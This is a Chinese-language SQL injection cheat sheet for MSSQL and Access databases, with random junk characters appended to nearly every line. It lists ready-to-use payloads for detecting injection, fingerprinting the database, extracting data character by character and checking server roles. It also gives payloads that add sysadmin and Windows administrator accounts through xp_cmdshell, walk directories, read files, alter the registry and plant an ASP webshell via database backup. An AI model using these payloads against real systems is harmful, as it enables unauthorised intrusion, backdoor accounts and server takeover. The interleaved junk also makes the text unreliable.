1.判断是否有注入;and 1=1 ;and 1=2 r*Ca}Z
2.初步判断是否是mssql ;and user>0 H9e<v4c
G" "ZI$`
3.注入参数是字符'and [查询条件] and ''=' U-M>=3|N
8bld3p"^
4.搜索时没过滤参数的'and [查询条件] and '%25'=' _I5Y"o
pFjK}JOF
5.判断数据库系统 W7nw6;7=
%1+4_g9
;and (select count(*) from sysobjects)>0 mssql g`QEu
5v
Qzw;i8n{
;and (select count(*) from msysobjects)>0 access d7bS
wL
0LJv'
{I't]Qj_e
CzrC%x y
6.猜数据库 ;and (select Count(*) from [数据库名])>0 b d!Y\OD
d/~9&wLSb
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 _X
x/(.O
&Au@S$ij
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 I%KYtv~`
j1T#yt
J
9.(1)猜字段的ascii值(access) m ~$v;?i
K]w'&Qm8W
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 /N.U/MPL_
QoT;WM Z
(2)猜字段的ascii值(mssql) LZxNAua
o?Oc7$+u
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 AFwdJte9e
`'7R,
10.测试权限结构(mssql) AH~E )S
Cq~dp/V
b@hqz!)l`
SOA,kwHRe
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- pOoEI+t
"E4a=YH_
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- a0)QH
DkDmE
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- q'Pf]
bW(0Ng
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- }i&/G+_
=Nr-iae#
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- U 8$27jq
mj7#&r,1l
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Tpa5N'O
\1M4Dl5!
;and 1=(select IS_MEMBER('db_owner'));-- QQc -Ya!v
`C'H.g\>2Q
iuul7VR-%
F#5~M<`.o
11.添加mssql和系统的帐户 IO<6
S)"Jf?
;exec master.dbo.sp_addlogin username;-- z},# ~L6$q
;exec master.dbo.sp_password null,username,password;-- {Ou1KDy#)
&s!@29DXR
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- LCV(,lu
+G>\-tjSD
;exec master.dbo.xp_cmdshell 'net user username password @d1Q"9}B
6(R<{{
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- q{x8_E!L
QIFgQ0{
;exec master.dbo.xp_cmdshell 'net user username password /add';-- R`-S/C
<qt|d&
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- t4-[Z$n5
!C.4<?*|
T6$+hUM$1
* kh tJ]=
12.(1)遍历目录 v4 E}D
9H1rO8k
;create table dirs(paths varchar(100), id int) 0#gK6o!
2y1Sne=<Kb
;insert dirs exec master.dbo.xp_dirtree 'c:\' SUK?z!f<i
SSzIih@u
;and (select top 1 paths from dirs)>0 NDokSw-
Zx>=tx}
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $3kH~3{]
W[r>.7>?h
?:9"X$XR
V>3X\)qu
(2)遍历目录 hOK8(U0
A^S gI-y|
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- *lJxH8 \
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 d2L&Z_}
7F.4Ga;
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 j![\& z
z\4.Gm-
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 e]$s
t?
>=w)x,0yX
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 fI|$K)K
dqcL]e
ZWm6eD
_,*r_D61S
13.mssql中的存储过程 <%mRSv
iH'p>s5L
xp_regenumvalues 注册表根键, 子键 5#z1bu
M )(DZ}
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Rf% a'b
2st3
xp_regread 根键,子键,键值名 #T"4RrR
tX~w{|k
;exec xp_regread cm+P]8o%{
\z ) %$#I
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 B`sAk
%
62NsJ<#>
xp_regwrite 根键,子键, 值名, 值类型, 值 PQE=D0
/g.U&oI]D
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ksm~<;td
iU:cW=W|M\
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
{K!)Ss
bW:!5"_{H
xp_regdeletevalue 根键,子键,值名 MpOc
]I6 J7A[
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 0tJZ4(0
?&uu[y
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 -F3-{E
c+GG\:gM
qcRs$-J
\}G^\p6?M
14.mssql的backup创建webshell "uf%iJ:%
(w zQ2Dk
use model $Ygue5{c
Qv ?"b
create table cmd(str image); og>uj>H&
R^e'}+Z
insert into cmd(str) values (''); CU~PT.
4{Z)8;QX
backup database model to disk='c:\l.asp'; $Z>'Jp
3r1*m
+
VS|2|n1<6
%SUQ9\SEs
15.mssql内置函数 ;O#>Y
rW#T
vUn
;and (select @@version)>0 获得Windows的版本号 @KUWxFak
ABYcH]m
;and user_name()='dbo' 判断当前系统的连接用户是不是sa OB}Ib]
/wlEe>i
;and (select user_name())>0 爆当前系统的连接用户 4`=mu}Y2
G]aOHJ:.
;and (select db_name())>0 得到当前连接的数据库 a09<!0Rp
3
8`<:{^Y
W!(LF7_!
7o}J%z
16.简洁的webshell \.}c9*)
^dxTm1Z
use model S`]k>'
l
k==h|\|
create table cmd(str image); ?Ss!e$jf
??/
'kmd
insert into cmd(str) values (''); v(%*b,^
e@YK@?^#N
backup database model to disk='g:\wwwtest\l.asp';